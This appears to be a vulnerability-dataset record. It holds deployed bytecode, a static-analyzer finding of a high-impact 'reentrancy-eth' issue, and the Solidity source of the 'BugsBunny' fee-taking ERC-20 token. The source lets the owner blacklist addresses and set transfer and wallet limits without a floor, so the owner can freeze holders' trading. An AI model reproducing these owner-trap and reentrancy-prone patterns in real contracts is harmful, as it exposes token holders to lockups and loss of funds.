}
|
0x6080604052600436106101d05760003560e01c80637c519ffb116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461053c578063dd62ed3e14610552578063ea1644d514610598578063f2fde38b146105b857600080fd5b8063a9059cbb146104b7578063bfd79284146104d7578063c3c8cd8014610507578063c492f0461461051c57600080fd5b80638f9a55c0116100d15780638f9a55c01461043657806395d89b411461044c57806398a5c31514610477578063a2a957bb1461049757600080fd5b80637c519ffb146103ed5780637d1db4a5146104025780638da5cb5b1461041857600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611be9565b6105d8565b005b34801561020a57600080fd5b5060408051808201909152600b81526a109b1d5948155b9a5d195960aa1b60208201525b60405161023b9190611d13565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611b3f565b610685565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b506702c68af0bb1400005b60405190815260200161023b565b3480156102dd57600080fd5b506102646102ec366004611aff565b61069c565b3480156102fd57600080fd5b506102c360185481565b34801561031357600080fd5b506040516009815260200161023b565b34801561032f57600080fd5b50601554610294906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611a8f565b61071c565b34801561036f57600080fd5b506101fc61037e366004611cb0565b610767565b34801561038f57600080fd5b506101fc6107af565b3480156103a457600080fd5b506102c36103b3366004611a8f565b6107dc565b3480156103c457600080fd5b506101fc6107fe565b3480156103d957600080fd5b506101fc6103e8366004611cca565b610872565b3480156103f957600080fd5b506101fc610913565b34801561040e57600080fd5b506102c360165481565b34801561042457600080fd5b506000546001600160a01b0316610294565b34801561044257600080fd5b506102c360175481565b34801561045857600080fd5b50604080518082019091526002815261425560f01b602082015261022e565b34801561048357600080fd5b506101fc610492366004611cca565b610956565b3480156104a357600080fd5b506101fc6104b2366004611ce2565b610985565b3480156104c357600080fd5b506102646104d2366004611b3f565b610a3d565b3480156104e357600080fd5b506102646104f2366004611a8f565b60116020526000908152604090205460ff1681565b34801561051357600080fd5b506101fc610a4a565b34801561052857600080fd5b506101fc610537366004611b6a565b610a80565b34801561054857600080fd5b506102c360085481565b34801561055e57600080fd5b506102c361056d366004611ac7565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a457600080fd5b506101fc6105b3366004611cca565b610b2f565b3480156105c457600080fd5b506101fc6105d3366004611a8f565b610bd2565b6000546001600160a01b0316331461060b5760405162461bcd60e51b815260040161060290611d66565b60405180910390fd5b60005b81518110156106815760016011600084848151811061063d57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067981611e79565b91505061060e565b5050565b6000610692338484610cbc565b5060015b92915050565b60006106a9848484610de0565b3360009081526005602052604090205460ff1661071257610712843361070d85604051806060016040528060288152602001611ed6602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061131c565b610cbc565b5060019392505050565b6000546001600160a01b031633146107465760405162461bcd60e51b815260040161060290611d66565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107915760405162461bcd60e51b815260040161060290611d66565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316146107cf57600080fd5b476107d981611356565b50565b6001600160a01b03811660009081526002602052604081205461069690611390565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161060290611d66565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461089c5760405162461bcd60e51b815260040161060290611d66565b6108b06103e86702c68af0bb140000611e23565b81101561090e5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f7420736574206d61785478416d6f756e74206c6f776572207468616044820152656e20302e312560d01b6064820152608401610602565b601655565b6000546001600160a01b0316331461093d5760405162461bcd60e51b815260040161060290611d66565b6015805460ff60a01b1916600160a01b17905543600855565b6000546001600160a01b031633146109805760405162461bcd60e51b815260040161060290611d66565b601855565b6000546001600160a01b031633146109af5760405162461bcd60e51b815260040161060290611d66565b6009849055600b839055600a829055600c81905560006109cf8285611e0b565b905060006109dd8487611e0b565b90506019821115806109f0575060198111155b610a355760405162461bcd60e51b815260206004820152601660248201527546656573206d75737420626520756e6465722032352560501b6044820152606401610602565b505050505050565b6000610692338484610de0565b6013546001600160a01b0316336001600160a01b031614610a6a57600080fd5b6000610a75306107dc565b90506107d981611414565b6000546001600160a01b03163314610aaa5760405162461bcd60e51b815260040161060290611d66565b60005b82811015610b29578160056000868685818110610ada57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610aef9190611a8f565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b2181611e79565b915050610aad565b50505050565b6000546001600160a01b03163314610b595760405162461bcd60e51b815260040161060290611d66565b610b6d6103e86702c68af0bb140000611e23565b811015610bcd5760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c657453697a65206c6f776572207460448201526768616e20302e312560c01b6064820152608401610602565b601755565b6000546001600160a01b03163314610bfc5760405162461bcd60e51b815260040161060290611d66565b6001600160a01b038116610c615760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610602565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610d1e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610602565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610602565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610602565b6001600160a01b038216610ea65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610602565b60008111610f085760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610602565b6000546001600160a01b03848116911614801590610f3457506000546001600160a01b03838116911614155b1561121557601554600160a01b900460ff16610fcd576000546001600160a01b03848116911614610fcd5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610602565b60165481111561101f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610602565b6001600160a01b03831660009081526011602052604090205460ff1615801561106157506001600160a01b03821660009081526011602052604090205460ff16155b6110b95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610602565b6015546001600160a01b0383811691161461113e57601754816110db846107dc565b6110e59190611e0b565b1061113e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610602565b6000611149306107dc565b6018546016549192508210159082106111625760165491505b8080156111795750601554600160a81b900460ff16155b801561119357506015546001600160a01b03868116911614155b80156111a85750601554600160b01b900460ff165b80156111cd57506001600160a01b03851660009081526005602052604090205460ff16155b80156111f257506001600160a01b03841660009081526005602052604090205460ff16155b156112125761120082611414565b4780156112105761121047611356565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061125757506001600160a01b03831660009081526005602052604090205460ff165b8061128957506015546001600160a01b0385811691161480159061128957506015546001600160a01b03848116911614155b1561129657506000611310565b6015546001600160a01b0385811691161480156112c157506014546001600160a01b03848116911614155b156112d357600954600d55600a54600e555b6015546001600160a01b0384811691161480156112fe57506014546001600160a01b03858116911614155b1561131057600b54600d55600c54600e555b610b29848484846115b9565b600081848411156113405760405162461bcd60e51b81526004016106029190611d13565b50600061134d8486611e62565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610681573d6000803e3d6000fd5b60006006548211156113f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610602565b60006114016115e7565b905061140d838261160a565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061146a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114be57600080fd5b505afa1580156114d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114f69190611aab565b8160018151811061151757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461153d9130911684610cbc565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611576908590600090869030904290600401611d9b565b600060405180830381600087803b15801561159057600080fd5b505af11580156115a4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806115c6576115c661164c565b6115d184848461167a565b80610b2957610b29600f54600d55601054600e55565b60008060006115f4611771565b9092509050611603828261160a565b9250505090565b600061140d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117b1565b600d5415801561165c5750600e54155b1561166357565b600d8054600f55600e805460105560009182905555565b60008060008060008061168c876117df565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506116be908761183c565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ed908661187e565b6001600160a01b03891660009081526002602052604090205561170f816118dd565b6117198483611927565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161175e91815260200190565b60405180910390a3505050505050505050565b60065460009081906702c68af0bb14000061178c828261160a565b8210156117a8575050600654926702c68af0bb14000092509050565b90939092509050565b600081836117d25760405162461bcd60e51b81526004016106029190611d13565b50600061134d8486611e23565b60008060008060008060008060006117fc8a600d54600e5461194b565b925092509250600061180c6115e7565b9050600080600061181f8e8787876119a0565b919e509c509a509598509396509194505050505091939550919395565b600061140d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061131c565b60008061188b8385611e0b565b90508381101561140d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610602565b60006118e76115e7565b905060006118f583836119f0565b30600090815260026020526040902054909150611912908261187e565b30600090815260026020526040902055505050565b600654611934908361183c565b600655600754611944908261187e565b6007555050565b6000808080611965606461195f89896119f0565b9061160a565b90506000611978606461195f8a896119f0565b905060006119908261198a8b8661183c565b9061183c565b9992985090965090945050505050565b60008080806119af88866119f0565b905060006119bd88876119f0565b905060006119cb88886119f0565b905060006119dd8261198a868661183c565b939b939a50919850919650505050505050565b6000826119ff57506000610696565b6000611a0b8385611e43565b905082611a188583611e23565b1461140d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610602565b8035611a7a81611ec0565b919050565b80358015158114611a7a57600080fd5b600060208284031215611aa0578081fd5b813561140d81611ec0565b600060208284031215611abc578081fd5b815161140d81611ec0565b60008060408385031215611ad9578081fd5b8235611ae481611ec0565b91506020830135611af481611ec0565b809150509250929050565b600080600060608486031215611b13578081fd5b8335611b1e81611ec0565b92506020840135611b2e81611ec0565b929592945050506040919091013590565b60008060408385031215611b51578182fd5b8235611b5c81611ec0565b946020939093013593505050565b600080600060408486031215611b7e578283fd5b833567ffffffffffffffff80821115611b95578485fd5b818601915086601f830112611ba8578485fd5b813581811115611bb6578586fd5b8760208260051b8501011115611bca578586fd5b602092830195509350611be09186019050611a7f565b90509250925092565b60006020808385031215611bfb578182fd5b823567ffffffffffffffff80821115611c12578384fd5b818501915085601f830112611c25578384fd5b813581811115611c3757611c37611eaa565b8060051b604051601f19603f83011681018181108582111715611c5c57611c5c611eaa565b604052828152858101935084860182860187018a1015611c7a578788fd5b8795505b83861015611ca357611c8f81611a6f565b855260019590950194938601938601611c7e565b5098975050505050505050565b600060208284031215611cc1578081fd5b61140d82611a7f565b600060208284031215611cdb578081fd5b5035919050565b60008060008060808587031215611cf7578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611d3f57858101830151858201604001528201611d23565b81811115611d505783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611dea5784516001600160a01b031683529383019391830191600101611dc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e1e57611e1e611e94565b500190565b600082611e3e57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611e5d57611e5d611e94565b500290565b600082821015611e7457611e74611e94565b500390565b6000600019821415611e8d57611e8d611e94565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107d957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205b6243a212e85170b0ae9c1f4eb01cf6484ece76f45f98495606d9857791a7f764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,752 |
0x48251866e7464c1c53c668b8e769a8072198ec1d
|
/**
*Submitted for verification at Etherscan.io on 2022-04-01
*/
/**
//SPDX-License-Identifier: UNLICENSED
BugsBunny
Telegram: https://t.me/BugsBunnyETHPortal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BUGSBUNNY is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "BugsBunny";
string private constant _symbol = "BUGSBUNNY";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf9146104a1578063d94160e0146104b6578063dd62ed3e146104e6578063f42938901461052c57600080fd5b8063b515566a14610441578063c024666814610461578063c0a904a21461048157600080fd5b8063715018a61461037c57806381bfdcca1461039157806389f425e7146103b15780638da5cb5b146103d157806395d89b41146103ef578063a9059cbb1461042157600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ec5780635932ead11461031c578063677daa571461033c57806370a082311461035c57600080fd5b8063313ce5671461028357806349bd5a5e1461029f57806351bc3c85146102d757600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f557806318160ddd1461022557806323b872dd14610241578063273123b71461026157600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b506040805180820190915260098152684275677342756e6e7960b81b60208201525b6040516101b19190611d07565b34801561020157600080fd5b50610215610210366004611b98565b610541565b60405190151581526020016101b1565b34801561023157600080fd5b50683635c9adc5dea000006101a7565b34801561024d57600080fd5b5061021561025c366004611b2b565b610558565b34801561026d57600080fd5b5061028161027c366004611abb565b6105c1565b005b34801561028f57600080fd5b50604051600981526020016101b1565b3480156102ab57600080fd5b506011546102bf906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e357600080fd5b50610281610615565b3480156102f857600080fd5b50610215610307366004611abb565b60056020526000908152604090205460ff1681565b34801561032857600080fd5b50610281610337366004611c8a565b61064e565b34801561034857600080fd5b50610281610357366004611cc2565b610696565b34801561036857600080fd5b506101a7610377366004611abb565b6106c5565b34801561038857600080fd5b506102816106e7565b34801561039d57600080fd5b506102816103ac366004611cc2565b61075b565b3480156103bd57600080fd5b506102816103cc366004611cc2565b61078a565b3480156103dd57600080fd5b506000546001600160a01b03166102bf565b3480156103fb57600080fd5b506040805180820190915260098152684255475342554e4e5960b81b60208201526101e8565b34801561042d57600080fd5b5061021561043c366004611b98565b6107b9565b34801561044d57600080fd5b5061028161045c366004611bc3565b6107c6565b34801561046d57600080fd5b5061028161047c366004611b6b565b61086a565b34801561048d57600080fd5b5061028161049c366004611b6b565b6108bf565b3480156104ad57600080fd5b50610281610914565b3480156104c257600080fd5b506102156104d1366004611abb565b60066020526000908152604090205460ff1681565b3480156104f257600080fd5b506101a7610501366004611af3565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053857600080fd5b50610281610cff565b600061054e338484610d29565b5060015b92915050565b6000610565848484610e4d565b6105b784336105b285604051806060016040528060288152602001611ed8602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611293565b610d29565b5060019392505050565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016105eb90611d5a565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063557600080fd5b6000610640306106c5565b905061064b816112cd565b50565b6000546001600160a01b031633146106785760405162461bcd60e51b81526004016105eb90611d5a565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106c05760405162461bcd60e51b81526004016105eb90611d5a565b601255565b6001600160a01b03811660009081526002602052604081205461055290611472565b6000546001600160a01b031633146107115760405162461bcd60e51b81526004016105eb90611d5a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107855760405162461bcd60e51b81526004016105eb90611d5a565b601355565b6000546001600160a01b031633146107b45760405162461bcd60e51b81526004016105eb90611d5a565b600b55565b600061054e338484610e4d565b6000546001600160a01b031633146107f05760405162461bcd60e51b81526004016105eb90611d5a565b60005b81518110156108665760016007600084848151811061082257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085e81611e6d565b9150506107f3565b5050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e95760405162461bcd60e51b81526004016105eb90611d5a565b6001600160a01b0391909116600090815260066020526040902080546